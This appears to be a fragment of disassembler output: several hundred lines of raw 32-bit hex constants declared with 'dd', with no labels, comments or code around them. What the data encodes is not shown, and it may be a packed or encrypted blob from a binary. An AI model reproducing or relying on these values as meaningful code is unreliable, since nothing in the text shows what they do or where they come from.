		dd 2E03AF8Fh, 7D40F4B7h, 5680A7CDh, 1EED3E9h, 0B38E570Bh
		dd 98B54E62h, 9221E408h, 86EE00FBh, 8B0A504h, 76005CF7h
		dd 231306BFh, 8EC8DAh, 1EEA5E18h, 0D1C1D693h, 7BE3D200h
		dd 0D92EA9D8h, 7848D980h, 4D51842h, 7E57B9EEh, 20E332B0h
		dd 1FEEFD90h, 176DF900h, 0A627E772h, 8A101F2Eh,	0CC480C7h
		dd 0F4C956ACh, 0A3657906h, 111AF6Ch, 0D50D084Fh, 0D8F2B114h
		dd 0ED7A212Dh, 55218360h, 15D0D10h, 0F5B24871h,	80E0A820h
		dd 524FC0C0h, 0C9CBE2h,	0C74D04BAh, 0C865760Ch,	466084F0h
		dd 35A51710h, 0CB7A0E1Ch, 24007E51h, 0A1DA5DFCh, 4681A900h
		dd 577C7758h, 0D10F00D4h, 0BAC5E54Bh, 87EABCD2h, 30513E07h
		dd 2A50E328h, 0A548C6h,	315712EBh, 0D3A8CD23h, 54C98F18h
		dd 0A756F140h, 1B748604h, 0B900105Eh, 190E4B2Ch, 3C0671A0h
		dd 119D5608h, 74CC0087h, 0EBC6E05h, 1495B928h, 8621D542h
		dd 3D821110h, 0C80E0FF6h, 9CBD8801h, 46DA0BFh, 9CE20FDh
		dd 0B1358040h, 550075F4h, 66E9FEDBh, 179C5D04h,	0BBAD1Ch
		dd 7EA8CE94h, 0F500A47Dh, 0E3797349h, 0D114D0h,	0AA57896h
		dd 76CAD32Ah, 5EE0F403h, 3977BD98h, 0FA075CF1h,	6094FE4Ch
		dd 9DE4DB83h, 0A19AB900h, 81F0DFD9h, 7972070Ah,	0B00C7055h
		dd 0C25C876Fh, 10C4D8E3h, 8077DA38h, 9001D2B9h,	0EF2A8A6h
		dd 26944834h, 85FED9E3h, 0A06920C7h, 5D786735h,	959D3B00h
		dd 0E4578645h, 9492058Ch, 8A728Bh, 0A8BF78E9h, 0FB0144B3h
		dd 9728B56Eh, 0DEC40AEBh, 0CF270636h, 0C0D7D091h, 9D056800h
		dd 89787609h, 7549000Ch, 0C18F5CE2h, 97072BC2h,	0E3F956A2h
		dd 47F46F81h, 0A8086C1h, 2BDE1959h, 8A0B179Ch, 80D87035h
		dd 8FAE2DEDh, 89710069h, 6134810Fh, 0FB001AFFh,	201239AFh
		dd 0D4D54h, 5F3F452h, 4B7E53E0h, 75006AE4h, 95C418C2h
		dd 4A9F55h, 9466CF39h, 0FE5E4C21h, 0A2836F00h, 3ACA4B78h
		dd 25D30026h, 5B477DD4h, 0EF00D681h, 0F9CCB250h, 6EF6CAh
		dd 4209065Ch, 52FC6AA0h, 4CB4AD58h, 80903EA2h, 0A5F4F21Fh
		dd 3E34B268h, 93D8440Eh, 0B56F4D00h, 54CF6D84h,	5F40ED00h
		dd 2D7F1631h, 9CBD50BCh, 0F07C17B7h, 1833007Bh,	43FE622Ah
		dd 774A8A00h, 31D464EFh, 0F6C60014h, 881D13ABh,	903DB99Bh
		dd 0B7E0002Eh, 6E0EE8BDh, 91CC00C2h, 1AE90978h,	30985E13h
		dd 56E1B600h, 1207FFBDh, 7D7400AAh, 8B23BE3Dh, 4A0066AFh
		dd 0A32B4F83h, 4C49DEBAh, 0E00083F9h, 79609559h, 72FE1244h
		dd 782750C0h, 0A0B424C2h, 17B8ADBh, 39DE05Dh, 0E4B87117h
		dd 0DB755705h, 89625F00h, 0B1268340h, 19ED3BCAh, 85AB2900h
		dd 0CD3C5DDAh, 68B8C300h, 0AF383AD4h, 73000CFh,	8C3D2941h
		dd 403B076h, 7AE61B5Ah,	92BBCCh, 42895510h, 5E2FE83Bh
		dd 0DBB68801h, 90B1B3ECh, 53B2C0h, 0C2D5F173h, 0FAA8CAF5h
		dd 0E2316003h, 0AA48F923h, 0E380F58Bh, 13521D6Dh, 11334000h
		dd 0F10A251Fh, 0DECD0h,	0FCBE022Bh, 0E8EDCFEh, 41859700h
		dd 0E89ABA05h, 1F149014h, 148AB712h, 0A100973Eh, 0B39827E4h
		dd 0CA3DC0E2h, 307F8043h, 5CD8B297h, 0AEDE006Ah, 76051C4h
		dd 9901734Ah, 48C030ECh, 95709179h, 0BB600FDh, 8944F126h
		dd 9400AB84h, 345A4D3Eh, 0AE775Ch, 0EE1CC5E8h, 1B97FDBDh
		dd 0F8C7CB00h, 5A966DB6h, 81A500ADh, 9DBE89DBh,	97001265h
		dd 0B5B984Eh, 50F938E9h, 0ED7EE90h, 2BB84895h, 0C361DB65h
		dd 29FB0A19h, 47A31001h, 24A74FCh, 723075E0h, 0E23600D1h
		dd 0E1CAE93Dh, 7C003E7Fh, 0E34A922Ah, 1E4B5DD4h, 3FC105Ah
		dd 0DC43EF82h, 0D2631FB2h, 567FA790h, 794C1700h, 63A0BEF4h
		dd 981E002Fh, 0EE4E85CCh, 93FC312Ah, 87280D00h,	0E05BD9C2h
		dd 0C720009Bh, 2CC671AAh, 0E83FC50Bh, 749F0058h, 8BFE51C3h
		dd 9DECE7B3h, 125F004Ch, 3E7ADFE9h, 0E5007871h,	225AF4E6h
		dd 50F33Dh, 0ED0B6EDBh,	90C37BBDh, 6B846500h, 3E4F4D3Fh
		dd 0A51C0377h, 13B82980h, 0D3C4F024h, 0EFEE7E00h, 0DD0B98h
		dd 14E9E006h, 0AB7C87C0h, 280E8D1Fh, 6F5401FFh,	1E6601B2h
		dd 3B03E130h, 4C80B704h, 521C385h, 2400417Dh, 52A338CAh
		dd 899EA8h, 0FB7E43CEh,	65739097h, 0ADEFB60Fh, 1B26A3C9h
		dd 0A02FBB83h, 0B3053h,	59E4A1Fh, 904FA87Bh, 0ADDC8407h
		dd 80393702h, 0D43EEC37h, 0E3D6007Eh, 311A168Ch, 0DD005832h
		dd 97FF08C0h, 7E771128h, 490500F8h, 2BEC83C9h, 0C9C0BD30h
		dd 982C86D3h, 0B45F009Bh, 0DA358502h, 891ECC68h, 6380D52Fh
		dd 0BAFBFEB8h, 8E7501B0h, 6E10D225h, 3876604Dh,	3BC3FA1Dh
		dd 0D74A2240h, 0A0F1F80Dh, 2113A2BCh, 9780BB21h, 4259B04Fh
		dd 2EA8288Bh, 1C90B8h, 0CB1093CDh, 0D08DE5D6h, 87FCC000h
		dd 0BA488C22h, 365E141Ah, 0DC00B9B9h, 60E06ED1h, 8000DAD0h
		dd 0F8B7AE08h, 0EB7332h
		dd 6DDEC5F3h, 0B92D8C6Eh, 7F4C7700h, 0C9A434Dh,	50AB0083h
		dd 0B071ADF3h, 6AF439CCh, 0F2E81800h, 84C66872h, 0D9F000C8h
		dd 0CA95B64Ah, 9B1E7669h, 2807918h, 0F3B5D421h,	0A83A1F71h
		dd 0C18E4048h, 81B168ABh, 51CCD900h, 445CF091h,	0D1310049h
		dd 209C55FFh, 0DF006DA4h, 81236CACh, 0ECFBB4Fh,	0F0F97C59h
		dd 0CCD296C0h, 7E1688C5h, 9C00E8D8h, 2418F78Ch,	78BB2CEEh
		dd 0E17400CBh, 59B9DD6Fh, 0C7434A00h, 9BAAA381h, 9FEC0190h
		dd 98F755CFh, 0FEC50B2h, 0C4001F9Ah, 2EC86CC7h,	0EDC911h
		dd 729DF594h, 9C70C0C1h, 0A6A82A1Eh, 10AA49C0h,	3979E4E6h
		dd 0A4C88DB9h, 0FD89628h, 29C31E0Eh, 3DECF2CAh,	0A9550F80h
		dd 9C6F841Ch, 4A6D700h,	0BCB6D670h, 0E9BF00A2h,	6CC0ECADh
		dd 73000558h, 0A95B7ECBh, 0B0CED220h, 80DB4826h, 81D54900h
		dd 92EB6229h, 30EE9E01h, 0F60A3BDDh, 0E2D420C5h, 0F86C37D2h
		dd 7E90B078h, 0DC00A30Ch, 0BF7E17Bh, 7120B3h, 7038FA72h
		dd 54073AAh, 0A32C2B00h, 3E93FFADh, 4A8E0396h, 8B6B4323h
		dd 55C19F83h, 69D8C045h, 7B672600h, 0CF0BE982h,	0B3250E46h
		dd 0D080D19Eh, 626BC5E4h, 64004C7Eh, 6168E543h,	79BD9BEBh
		dd 25F6009Ch, 0C5D65D49h, 0A5045231h, 40986AB3h, 0E942A8C0h
		dd 0F65F0006h, 69568668h, 0DE585344h, 3543002Ch, 7EA5986Dh
		dd 11390095h, 7889BE03h, 0AF036A1Ch, 3E9152A2h,	0FF8E8084h
		dd 340F02B6h, 5DF2DC5Bh, 8BC13040h, 0DB0FD00h, 0C2359B0Ch
		dd 12CB09Fh, 6444FC94h,	0D8B6DF4Ch, 700286Eh, 231CEFC0h
		dd 0B8A8E0ADh, 3CD5036Ch, 0BE162C53h, 0E541AEB0h, 5D0A38h
		dd 4059F897h, 0F6BDCCh,	266E09B4h, 0C0BF0ACh, 0AA2C17F4h
		dd 0B8004459h, 0E3866119h, 20A860A1h, 58352890h, 460D661Fh
		dd 7A502480h, 166B6Fh, 11080D9h, 15299EC0h, 6593F600h
		dd 0AC4344E7h, 91F000A0h, 8A18339Ah, 88380A31h,	0F75B807Ch
		dd 0E05E752h, 0B409056Ah, 80C84A5Eh, 0C13A6880h, 2F0EF7E8h
		dd 20016386h, 0AAFC44DAh, 7099074Ah, 0D016EDC2h, 28AF858Fh
		dd 3B932A00h, 64B5435Eh, 0DF2D0058h, 156D9416h,	880283D9h
		dd 13396BDEh, 28D481CDh, 0E6D4CBA7h, 76CA00D5h,	7DF4F34Eh
		dd 78004601h, 0F19C7B83h, 92BFAFC3h, 983859D4h,	5641BE00h
		dd 0F32A7647h, 8FC8A001h, 6DC5FC25h, 775AC8h, 3B7E7D3h
		dd 725359B4h, 0AEA11900h, 48765E08h, 8C9258DDh,	4467D907h
		dd 13904C2Ch, 6F6FF126h, 596A3D01h, 1880D34Dh, 55B2E6B3h
		dd 11CF1D16h, 0C5001746h, 11B75AF6h, 0F4EC009Ch, 0FAEBE8AAh
		dd 0D167CCEh, 0AF4603h,	6413B913h, 38C2B4BDh, 0A0F26D8Eh
		dd 495E0A80h, 70D200FFh, 0B21D2B65h, 6701C009h,	87AAF950h
		dd 5160FA96h, 0E4780A6Ah, 694603Ch, 0C008D159h,	6E718E00h
		dd 0B9D17F2h, 0A51B3A15h, 0EA8A103Ah, 3974B1AAh, 803D4AA1h
		dd 5361B216h, 77E46h, 0F0965B29h, 45A3FDA9h, 8F62E803h
		dd 0A0A02CF6h, 485822EEh, 61001FD4h, 1F92BCD3h,	0C90051CAh
		dd 0DAC3ACA3h, 0F7F19Dh, 0A2033B31h, 59E4EC4Eh,	0DBFD1401h
		dd 718D5001h, 6E52E681h, 0C8D87269h, 62F21D5Dh,	0DCDDA701h
		dd 0DA4FAB63h, 0E0808C50h, 17F73A96h, 9AB4A6h, 5E843CB2h
		dd 0FE0043D7h, 0BD6B5F88h, 0FDF5857Ah, 667C1C41h, 0FC77E8D7h
		dd 7B2700F0h, 0E8E74C0Dh, 5508676h, 63076C80h, 0CE66E087h
		dd 0DA03CC50h, 30F56D12h, 0C9AFF020h, 96256E00h, 7A69395Bh
		dd 8CC40089h, 3860C857h, 1931E7D0h, 30D631F2h, 183CAC50h
		dd 0B0961ED4h, 0AB64857Ah, 119F8004h, 71186031h, 1FA03C43h
		dd 88C400F1h, 34CFE7BBh, 0C60028B3h, 0A4FBB1E2h, 7CF25270h
		dd 39F40Dh, 3ACF78Bh, 0BCAEF58Dh, 29058800h, 95061B7Bh
		dd 7CC0E7A8h, 3273F41Ah, 0FE11FDCAh, 95180494h,	0F6100350h
		dd 6D7C05h, 5AFA6896h, 0DAE87986h, 8061600h, 0B569F795h
		dd 73F3198Ah, 10EE296Eh, 8BFB88h, 4162915Dh, 36CAAA85h
		dd 2F342E1Eh, 94A84C80h, 46F982h, 0F4E23332h, 0B9BAFF7Fh
		dd 14835607h, 0ECC0F384h, 0B48A0Bh, 0A5E47B51h,	0A409DF61h
		dd 0E372E700h, 1F107033h, 203600F4h, 0F05150F7h, 0FD00D828h
		dd 4983FEDAh, 0D07A2h, 0C7D26770h, 0C26E8E89h, 3A48BB00h
		dd 92DFF08Ah, 9FE700BEh, 628D4ED2h, 71E46702h, 0C931D000h
		dd 0DC7473C4h, 45830007h, 40B7CCDDh, 5100FA8Bh,	1AF0025Eh
		dd 0E8A686Dh, 7FC6F43Fh, 4B9D5060h, 0F50219A3h,	0C78E005h
		dd 35B08003h, 51CE92h, 5D55C92Dh, 5F2E6B02h, 47C48600h
		dd 0FDBBE6FAh, 0A37A0059h, 8C6C9D75h, 1900AD7Bh, 0B9C9B039h
		dd 0A3F2A20h, 46BFDF66h, 0C16C1C9Ch, 528C1E36h,	0D4617002h
		dd 0EC200A00h, 770C535Bh, 411A00BBh, 0F604AF73h, 7E3A6185h
		dd 8087BC9Bh, 943D7210h, 24F50F88h, 0BCA140h, 4CDDCB54h
		dd 3009C7B9h, 602243FBh, 0CF5FEAh, 7B4F7601h, 74FCE68Ah
		dd 0E48DB300h, 7C1C395h, 6DFB0070h, 9C9B056Ah, 59F87749h
		dd 0A914F900h, 0C4728580h, 0B930FE7h, 98A0781Ch, 7E5F07F3h
		dd 0BF2BDB1Dh, 47AC9h, 0DEA3040h, 44D40088h, 1B862098h
		dd 4E48F75Dh, 0CD920E77h, 0F51C8040h, 1CBDC43Eh, 803527D9h
		dd 8BA14496h, 0C8007E31h, 2D25D6F3h, 7D5A85h, 0AE0762EDh
		dd 9069371Eh, 0A3C5C706h, 218D5E0h, 0FFA06786h,	40D75D17h
		dd 727FFAh, 5495E6BBh, 0ECAAD469h, 0D59C9207h, 0BF000984h
		dd 6E53A82h, 9083D67Bh,	6A0048DBh, 0EEEF12FFh, 0CB1DE3Eh
		dd 5234A6E5h, 7768CD9h,	0D1411400h, 0B6F1AD22h,	9053006Dh
		dd 29DF54FCh, 790045DDh, 71FB2361h, 659556h, 8ABF069Bh
		dd 0F629E01h, 8B586800h, 67FEE175h, 7A0A80D3h, 61885B21h
		dd 0F8D632FBh, 0A500BCC4h, 0D4FA92F4h, 147B522h, 8679A1BAh
		dd 805B2D11h, 0E5FEDF30h, 0C056FA59h, 6399CF10h, 0A40F6DD5h
		dd 874E5D0Dh, 2EF0C35Ch, 2DF0924h, 703C1025h, 24617D59h
		dd 34EAF088h, 39DE7E00h, 2F625E64h, 0C43A3DABh,	1A1F8280h
		dd 0D3C230E7h, 63360C0Fh, 0F450E047h, 8673DDh, 0A72C3F0Dh
		dd 4399E006h, 0F109D0Ch, 2F9077h, 8BFA5F1Ah, 0F419F2A2h
		dd 266AD400h, 47D97A67h, 3DF90F8Ch, 0DF20BD74h,	0AC53D169h
		dd 81611600h, 2515B087h, 0B81800CDh, 0CB964FFFh, 50489C2Ch
		dd 80C23DE8h, 6D57420Ah, 0AB1238h, 0AA4AD360h, 2B2A4C1h
		dd 4FBCA3Dh, 2131BBE2h,	74339CD0h, 773200E3h, 303EC93Ah
		dd 5007913h, 592755E7h,	0CD38702h, 26D7F932h, 1C38FE10h
		dd 23289367h, 53181C04h, 2773C0D1h, 0D7F07C21h,	5D3000Bh
		dd 41CBD237h, 8D001C69h, 67B4E3B8h, 79A0E7h, 7A589754h
		dd 0BF510CC6h, 0E3BB9109h, 7F84204Fh, 8B5544h, 0FD165B41h
		dd 0AA8ABA6Dh, 0FCA25207h, 0C9600A25h, 0F2B56361h, 2F3607FAh
		dd 7AB3C54Dh, 464801B4h, 0FC0475F4h, 0C603AA88h, 2C4F8A16h
		dd 88989B22h, 0F2F7DDFh, 0FE99455Fh, 7B8800D2h,	49C1562Ch
		dd 5B545500h, 971FAB5h,	50E0024Eh, 88298EAh, 0C8541449h
		dd 1D0068A0h, 6692556Dh, 3BEAD7h, 6FA50B50h, 965170F4h
		dd 0BC56131Fh, 0F2A44080h, 4AB5AFh, 162078A8h, 0AE47D043h
		dd 0C76C3A02h, 40628AD7h, 0FBAD49h, 1F99167Ah, 4CF3E7F0h
		dd 0A2EF7400h, 0D2871EF6h, 0D87F1E09h, 80627CC5h, 4B006834h
		dd 0E29B84h, 0E3E53902h, 483605Bh, 0BC592301h, 9F6C4448h
		dd 188E54F9h, 0E1008B7Ch
		dd 40E7AF4Ah, 99D0EF00h, 1B06220Ch, 0DE5C3B44h,	0A611F881h
		dd 311A9A30h, 818010D4h, 4C05098Fh, 15F7A9F6h, 25FAA000h
		dd 36DF458h, 5F685E1Ah,	4D807663h, 73033E3Bh, 25CDB12Bh
		dd 0F516B86Fh, 91DF00EEh, 0C5BDDB56h, 0B40072BFh, 0E12CEBB8h
		dd 1B89ECh, 8101D7FDh, 6C56A454h, 23DA0B00h, 0A512B3F8h
		dd 8B9C0184h, 0F34FC426h, 6CC0856Ah, 0C48582DEh, 8AC0FE80h
		dd 35EE0055h, 0B5BCBA23h, 0DE00CF6Ah, 93DCF29Fh, 8F039Ah
		dd 0CA51B10Bh, 491DB2Bh, 2DC25802h, 4817B538h, 7B6394h
		dd 0A4C5678Bh, 0F65FAEF4h, 0B78EDF00h, 0DA40EF06h, 0B4DB0081h
		dd 506FF3A2h, 0D107963Ah, 28385BF5h, 8AEDF260h,	27120124h
		dd 44B0C7DEh, 6DD7FC3Fh, 6F41D609h, 7C0C805Ch, 0B3EEF2Eh
		dd 12491965h, 6DF970A0h, 7000FF41h, 0B1A85F02h,	602DE6DAh
		dd 0C83520B5h, 0AF4CE823h, 0A81063D0h, 0B145F822h, 0C26100E7h
		dd 3624E16h, 0C7723612h, 8323980Fh, 8ED20040h, 385B1A9h
		dd 6A7B7F9Ch, 500F34DCh, 0E395C087h, 0A0CA9FD5h, 0BAB8FD60h
		dd 85FE3DB0h, 3687FA6h,	3284E7FCh, 4286EAA0h, 107BDD24h
		dd 6E156500h, 3EEB6FFh,	43E568A2h, 0B48192B8h, 5B98DBFAh
		dd 0B707F8F3h, 5442AA3h, 8C039E50h, 89280FCFh, 0A9E0E22Eh
		dd 4E2FB957h, 0F7AC9500h, 53AA9893h, 0C5ED0050h, 11A9106Ch
		dd 0EFEB712h, 0FDF38D07h, 3490BF14h, 50F2F4h, 72710BCFh
		dd 8720DFB9h, 1AB03300h, 0C9EB228Fh, 815D1C11h,	7B5DC0h
		dd 7D81348h, 58005765h,	0A6E23B9h, 6CF9FC9h, 8B12DB0Fh
		dd 0E13EC8Fh, 7C408265h, 0A00DE36Ah, 47FD1h, 0FC9A6685h
		dd 0A157ADEh, 840998A8h, 7D318360h, 1A21F0Dh, 8DE0FC85h
		dd 307CC76Eh, 1007FEDh,	6FBD9E8h, 0D56373Ah, 0AB668642h
		dd 7AC1750h, 0B6D67716h, 9C00117Fh, 351944E5h, 0FEDC2140h
		dd 0AF08C93Fh, 0CDBC9840h, 0E24D4407h, 9705D86h, 0E32EB8DAh
		dd 91D0F042h, 51807AD8h, 480CF83Ah, 0F1014294h,	76C02F0Eh
		dd 79EDB088h, 0C19BF5C4h, 977B3490h, 1DC8BEEAh,	0FDDF2559h
		dd 0D7D4151Fh, 44E08050h, 8CD83512h, 1BDB044h, 7F4744C8h
		dd 83DA6ECEh, 67199891h, 0DFC1A018h, 8AFF06F3h,	70D01FE2h
		dd 96008D7Bh, 0D7FACC1Eh, 0B00B6548h, 0DDF0080h, 7EAC4AA9h
		dd 6307F52Fh, 9712C5E8h, 8F84F193h, 0EA95D650h,	68AE0046h
		dd 17154947h, 1C0039DBh, 14DD98CFh, 0EFD70Eh, 8A17F7Ah
		dd 0E08A8578h, 7C0C3D00h, 3A2C3693h, 55970082h,	6F2039F2h
		dd 29025A6Ch, 5FF63492h, 841BE078h, 417100B4h, 0C71523E0h
		dd 0D00E7DBh, 57546D1Ch, 0C07EE4E5h, 0BDD67340h, 5078CAF1h
		dd 88306C0Bh, 0A865F92h, 517720D9h, 0CD3879F2h,	3310056h
		dd 5DB44FE0h, 90AF0013h, 0DDFCF9C8h, 2806FEA8h,	0D54BA4D9h
		dd 0E8810770h, 0C0FF546Ch, 0BF7B14Eh, 0EED7C900h, 0D38575BAh
		dd 0D85F068Ah, 485AB331h, 0BAD2F426h, 0C3618307h, 362DFF80h
		dd 0E171E6h, 85432A53h,	3C696862h, 91815501h, 41E6D63Bh
		dd 0E0F2A883h, 0D96362E7h, 0C5FAB58h, 56858248h, 2390BD18h
		dd 8AC29300h, 46A4E2FCh, 0B8E830h, 72550E9Dh, 0AACF88ACh
		dd 29F50102h, 0E0CEBFA3h, 19B1E9Dh, 881CC965h, 0E48FB0B2h
		dd 0AF7C9EAAh, 49411CAh, 0A3F17161h, 4EA61080h,	87B85E24h
		dd 72F77600h, 2B8EBCDDh, 591B0052h, 0F3757BB1h,	6B3F2F65h
		dd 678080E0h, 32228D4Ah, 0EEFB003Eh, 96E7E62Eh,	56075AEBh
		dd 0B5FEEAE4h, 9DE8D120h, 925E0080h, 0A12022CAh, 0BDF60C57h
		dd 0D339F51Ch, 0A2D09900h, 182D3677h, 30D71E08h, 20078CB4h
		dd 0FE4903Bh, 8DE82CA0h, 714B1DE3h, 2EAAC035h, 0C61F7CC3h
		dd 7400F1FCh, 0EC5BD2E0h, 37F6BDFh, 6D08DABCh, 33D1FA9Bh
		dd 2088D51Ah, 92049912h, 0CA91105Eh, 80AFB5C0h,	0A84EAACh
		dd 81149DD5h, 51C08094h, 557ADB4h, 54410460h, 209FB24Bh
		dd 0CF01162Ch, 0C3ACB80Dh, 1DFC5BD4h, 0E59C4495h, 97C4FB00h
		dd 7990DEFEh, 115900DAh, 9C889542h, 660093D6h, 6F9F6731h
		dd 4A3F10h, 61F36B77h, 0B1AAC819h, 2C1D707h, 0A7701B64h
		dd 4E8F939h, 0C2F273E0h, 326C8055h, 4601012Eh, 0D9F9724h
		dd 0A880628Eh, 6D654F3h, 120F912Fh, 0C0F873BAh,	0AE0CFFF0h
		dd 569400DBh, 0BF35CC9Dh, 5A00D317h, 9A0107D4h,	91D068h
		dd 0EB788728h, 0AEC02679h, 8E948300h, 97BBB941h, 85A40188h
		dd 0C66DC2A6h, 3EB5D84Fh, 0D5041000h, 30EB2CCEh, 37D70067h
		dd 1655F79Fh, 31038526h, 80AB17A9h, 8165D870h, 0D21F00A7h
		dd 2ECDDEE5h, 0AAB89C4Ch, 0FF799607h, 33421955h, 45F5E067h
		dd 0B15E3DD5h, 594EFB80h, 32B796C8h, 0CA2BD600h, 0E281BA63h
		dd 31F498C3h, 0A980ED0Bh, 898DDCCDh, 2C00B790h,	0D5C56508h
		dd 22B79h, 0B99DDC7Dh, 0A3FD0EDh, 8C9848h, 892F3849h, 9A1F9Fh
		dd 96995020h, 7DFE152Eh, 52C61903h, 0F14F16Fh, 0E8D9DB10h
		dd 23C0C01Dh, 6E883E1Dh, 2EBBA500h, 0F28BAF31h,	0D4FC004Eh
		dd 0B834429Dh, 1B00337Ah, 0C3F689C9h, 0B8824986h, 0BC60005Ch
		dd 0EC2E58EEh, 1F0ACF6Eh, 584AD236h, 0EB5DBF0Ah, 0C783718h
		dd 16A20041h, 4ED86068h, 0C601B5D0h, 0A3F991C4h, 0F424BEEDh
		dd 9C754CF2h, 57AC1807h, 5E608F87h, 450CC865h, 342DFC01h
		dd 5CBA8567h, 0E5F7C4ECh, 61556C0h, 0A2A932E5h,	0F1007026h
		dd 5BC58443h, 26D0EC7Bh, 0BA249305h, 0C111BF00h, 7580D870h
		dd 6E3C5000h, 2FE22917h, 0C7BE00B3h, 611234D1h,	86C0A180h
		dd 2896A4C2h, 0AA790032h, 97CB2D2Ch, 0D400B7E4h, 8894E664h
		dd 70AD1E48h, 79C10008h, 900D5356h, 0FD0261B2h,	0E393D9EDh
		dd 0DE4C68CDh, 27BB0013h, 789FCC47h, 1601D4B6h,	0D06B6581h
		dd 0C5FCB8AFh, 545F0014h, 1C0F12DDh, 4500B3A6h,	0D55BDEC9h
		dd 0E71B9Ch, 868AB74Bh,	6CED5725h, 0B6933907h, 16208932h
		dd 10F4C8Eh, 0EAB79062h, 702D6C64h, 0C90E1CEBh,	0A7FD893Dh
		dd 91154F25h, 549FAD00h, 3A22AF7h, 0F6C1BF2Ch, 9AD26108h
		dd 0D80F9C80h, 8C17D2A8h, 39006C95h, 11ED5A9Fh,	0AAF70049h
		dd 7DDB9060h, 3B3F1686h, 8C8000A9h, 886CAEF3h, 142000ABh
		dd 4DA68B0h, 670098A3h,	28C2B679h, 0C25D0D5h, 5F32B9F1h
		dd 0C801403Ch, 83335C81h, 76C80366h, 919F0030h,	95DF17A1h
		dd 0EC981EB7h, 0B0E12526h, 0DA44C200h, 19156003h, 3075B57Dh
		dd 7AD8C762h, 201BDE3h,	0F824D971h, 0AECC4A7Bh,	46100715h
		dd 0F4491AA2h, 5724C1F1h, 32F88843h, 6A0780DCh,	84E6731Fh
		dd 342E4707h, 263BAE7h,	52DBA890h, 924C0F2Fh, 93C08BA4h
		dd 0AEE8FCA8h, 65BAB11Fh, 1896854Ch, 0DA2C0728h, 2939CDC3h
		dd 0E94FB880h, 1100A31Eh, 0CF42AD77h, 0ECAE0DFh, 46EF483Dh
		dd 9B1DEB60h, 8F009794h, 0D10F1690h, 1F6996ADh,	0C9641418h
		dd 200015CCh, 745E1ADDh, 0E798B700h, 0F267E86Eh, 0F0231CC1h
		dd 0D603436Ah, 9EE901D2h, 7ED9C8BCh, 9000B9E0h,	0B28EE1A5h
		dd 90BD740Eh, 504E0096h, 64FABBB7h, 0D300A83Fh,	0CC0735E1h
		dd 7797890Fh, 0E8390369h, 2A842D86h, 309F2BC9h,	1B0079DAh
		dd 85DD0BEAh, 77E14D9h,	2435E062h, 805235D2h, 1972D41h
		dd 0AC635900h, 5DB86FB4h, 0E7990010h, 0A35C3932h, 4C7EC678h
		dd 0BAB2CB00h, 46C39F34h, 6D0D0050h, 9AC87E61h,	20076BBh
		dd 0E4F4C41h, 7CEDC78Fh, 909103F6h, 0B21D25FAh,	3A6755F8h
		dd 5E022E00h
		dd 99499F36h, 0F82714Ah, 391FF201h, 96B74341h, 0A13C6009h
		dd 7D5E1300h, 83565FBDh, 22F6014Fh, 0C8E9DFF7h,	3027602Eh
		dd 4826313Ch, 78CC0099h, 7E49386h, 0A0880B49h, 500E7CE3h
		dd 7BD72340h, 60285366h, 3360AA3Eh, 30849738h, 0D6793DECh
		dd 0B800DABAh, 5427A4A0h, 0C60011BAh, 0AA720723h, 130DAC28h
		dd 128F17h, 0EA90C86Fh,	0C0021F8h, 33A58E6Fh, 7BFD66h
		dd 5542EEDBh, 0F3F19746h, 81449303h, 0E0CD7509h, 2ECA7FEFh
		dd 80A4896Ah, 7372EBCFh, 8E3C9991h, 7D37800Bh, 7B7CF217h
		dd 54C5007Fh, 0BCBED8D9h, 0A600EF94h, 44B7C25Ch, 0F38A1D12h
		dd 138889DCh, 0E508Ch, 376DF99Bh, 0D504A9C8h, 0FAE170FBh
		dd 0D9072FC0h, 0B391007Bh, 0D6B47CB0h, 1913DEF7h, 0F840A474h
		dd 379C272Dh, 0C6CB0ECDh, 9BEF2543h, 3FB1F780h,	18ADF80Eh
		dd 80ACEE0Eh, 90238BF2h, 184C608Ch, 9BA42119h, 0C4B91200h
		dd 14615C26h, 7780C713h, 0F9C9A0CFh, 4A1D9152h,	2C0995F0h
		dd 513380DCh, 0CC1AACC5h, 0E1302E40h, 2FFF7A06h, 98EC72h
		dd 615F26B0h, 0DF3EE232h, 7A415700h, 0FC248898h, 0E9220155h
		dd 40A79F2Ah, 774EE05Bh, 0AD1CCAFEh, 81C066D0h,	0A1C04147h
		dd 0C6650353h, 0B12692Fh, 761D8C8h, 55887503h, 0C80170B2h
		dd 0EB1113h, 4FA7FBD7h,	80FDB0F2h, 8260970h, 47038E3Dh
		dd 0A5B9104Eh, 0D6146280h, 0A164001Ah, 1C09872Bh, 0F60C97B1h
		dd 0C13613C8h, 5B4008Fh, 1910A96Eh, 181DEBC5h, 8318C4A1h
		dd 2DD21h, 0A3A9996Eh, 0AEFBFDA4h, 13284100h, 6695A01Ch
		dd 7B0F01B6h, 0E1AAAC0Dh, 0C42BC99Fh, 0B1727C84h, 9DA3D8F8h
		dd 87E177E2h, 3F1883AAh, 0A8B0CBC5h, 5959039Bh,	2750C894h
		dd 7AE50070h, 14A4FFC4h, 9EE8DBDCh, 8066B1CFh, 8C56F070h
		dd 21C1077Eh, 0BE114A48h, 0F3C03C4Fh, 7AEAB665h, 79841531h
		dd 41FC7229h, 908632EBh, 84828F69h, 801B35E2h, 2110AE6Eh
		dd 8591C691h, 6E0ED200h, 84F9C798h, 4B5CD501h, 0C8DD2F36h
		dd 0E4675880h, 0B664CBBBh, 0C212B7B0h, 5440ACC3h, 35AADD0h
		dd 3FF906F8h, 8AA2FB7h,	0F221A860h, 1E05BC0h, 0ADC9647Ah
		dd 9F841478h, 8B36C79h,	4E7EF094h, 0F09500ABh, 3A344DB1h
		dd 6C007AF5h, 2544EE82h, 28721312h, 14F24BB0h, 88EB1C34h
		dd 1868906h, 0F8C8A8C6h, 6DDAC3E0h, 0F04411D3h,	0D488827Ch
		dd 1F6D00D8h, 949D32ECh, 0EE0CBD1Ah, 0E87726F8h, 0A8441867h
		dd 0CE3568FFh, 0C055B6A0h, 0C9C2EC00h, 0B049C759h, 4B68009Dh
		dd 9D35E7Fh, 2E2494DAh,	1507D1BDh, 78701B65h, 8258Fh, 0A96F56D7h
		dd 1FB403BFh, 0B117A400h, 0E9302728h, 7F7705Eh,	2B320D87h
		dd 75743037h, 4138A0FDh, 145E9E8Fh, 0E9A2400h, 21A6CFh
		dd 2FAC9403h, 0C2EE148h, 28F63003h, 980AA8D4h, 8EBD3h
		dd 0FAFCE514h, 6E63D79Ch, 0D57B7100h, 5C86116Ah, 0D493A23h
		dd 2EE0377Ch, 19C7C008h, 755E9993h, 0E04DDEC3h,	0C37069C6h
		dd 5FB30D20h, 78683022h, 92050661h, 58BDEE6Fh, 74F93C38h
